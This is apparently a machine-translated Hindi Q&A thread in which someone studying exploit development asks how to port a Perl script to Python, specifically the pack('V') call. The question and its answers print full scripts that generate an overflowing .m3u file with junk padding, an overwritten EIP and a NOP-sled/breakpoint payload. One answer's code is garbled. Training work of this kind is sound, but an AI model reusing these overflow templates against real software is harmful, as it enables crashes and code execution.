2011-06-17 20 views
8

मैं प्रशिक्षण पाठ्यक्रम के लिए तैयार होने के लिए हाल ही में कुछ शोषण विकास पर काम कर रहा हूं, और मैंने ट्यूटोरियल के साथ एक समस्या में भाग लिया है। मैं पाइथन का उपयोग कर उन सभी ट्यूटोरियल्स के साथ-साथ अनुसरण कर रहा हूं, जो प्राथमिकता से बाहर किए गए ट्यूटोरियल्स की भाषा के विपरीत हैं। मैं सबकुछ क्रॉसकोड करने की कोशिश कर रहा हूं, लेकिन मैं यह नहीं समझ सकता कि पर्ल के पैक() फ़ंक्शन को क्रॉसोड कैसे करें।पर्ल पैक ('वी') फ़ंक्शन?

टी एल; डॉ: मैं अजगर को यह अनुवाद करने के लिए कोशिश कर रहा हूँ:

my $file= "test1.m3u"; 
my $junk= "A" x 26094; 
my $eip = pack('V',0x000ff730); 

my $shellcode = "\x90" x 25; 

$shellcode = $shellcode."\xcc"; 
$shellcode = $shellcode."\x90" x 25; 

open($FILE,">$file"); 
print $FILE $junk.$eip.$shellcode; 
close($FILE)print "m3u File Created successfully\n"; 

मैं पायथन के struct.pack() फ़ंक्शन पाया है, लेकिन जब मैं

Fuzzed.write(struct.pack('V', 0x773D10A4)) 

उपयोग करते हैं, यह कार्यक्रम बंद कर देता है और काम नहीं करता है। मैं क्या गलत कर रहा हूं?

यह अपने पूरे स्रोत कोड है

import struct 

Fuzzed = open('C:\Documents and Settings\Owner\Desktop\Fuzzed.m3u','w') 
Fuzzed.write('A' * 26072) 
string = str(struct.pack('V',0x773D10A4)) 
Fuzzed.write(string) 
Fuzzed.write('C' * 3000) 
+0

आपको प्रारूप चरित्र के रूप में 'V' कहां मिला? किस प्रकार का प्रतिनिधित्व करना चाहिए? 'हस्ताक्षरित int' (4 बाइट्स) के लिए 'I' का उपयोग करें। –

उत्तर

11

"V" के बजाय "L<" पैक टेम्पलेट का उपयोग कर प्रयास करें। यह पर्ल और पायथन दोनों में काम करना चाहिए। N और V एंडियननेस निर्दिष्ट करने की पुरानी पर्ल विधि है, और < और > नई विधि हैं। ऐसा लगता है कि जब पाइथन ने पर्ल से pack उधार लिया तो यह केवल नया, अधिक लचीला इंटरफ़ेस लिया।

संपादित करें: अजगर पर्ल यह के बाद चाहता है, जबकि, प्रकार निर्दिष्टकर्ता < से पहले चाहता है। काफी इसलिए संगत नहीं है :(

8

पायथन के struct.packendianess/size variation के लिए पहले वर्ण का उपयोग करता है, और फिर data type। पर्ल के Vmeans 32 बिट अहस्ताक्षरित int/थोड़ा-endian के लिए एक या अधिक।

अजगर एनालॉग struct.pack('<I', 0x773D10A4) है।

+0

धन्यवाद, यह पूरी तरह से काम किया। – Schinza

1

यह आप क्या चाहते हैं वास्तव में है। कैसे प्रशिक्षण पाठ्यक्रम के बारे में?

import struct

file = 'crash.m3u' junk = b'\x41' * 26091 eip = struct.pack('<I', 0x1d5f23a) preshellcode = b'\xcc' * 4 shellcode = b'\x90' * 25 + b'\xcc' fp = open(file, 'wb') fp.write(junk + eip + preshellcode + shellcode) fp.close() import binascii print binascii.hexlify(open(file, 'rb').read()) print 'm3u file is ready'
2

मैंने पहले ही पाइथन में अनुवाद किया है और मैंने एमपी 3 कनवर्टर के लिए पहले से ही कोशिश की है। यहां आपका उत्तर दिया गया है:

import sys 
file = "8.m3u" 
junk = "A"*26042 
eip = "\X3A\XF2\XB5\X01" //0x01B5F23A 
shellcode =" " 
shellcode += "\x90"*25 
shellcode += "xcc" 
shellcode += "\x90"*25 
tmp = junk + eip + shellcode 
D = open(file, 'w') 
D.write(tmp) 
D.close() 
print "m3u File Created successfully\n" 
संबंधित मुद्दे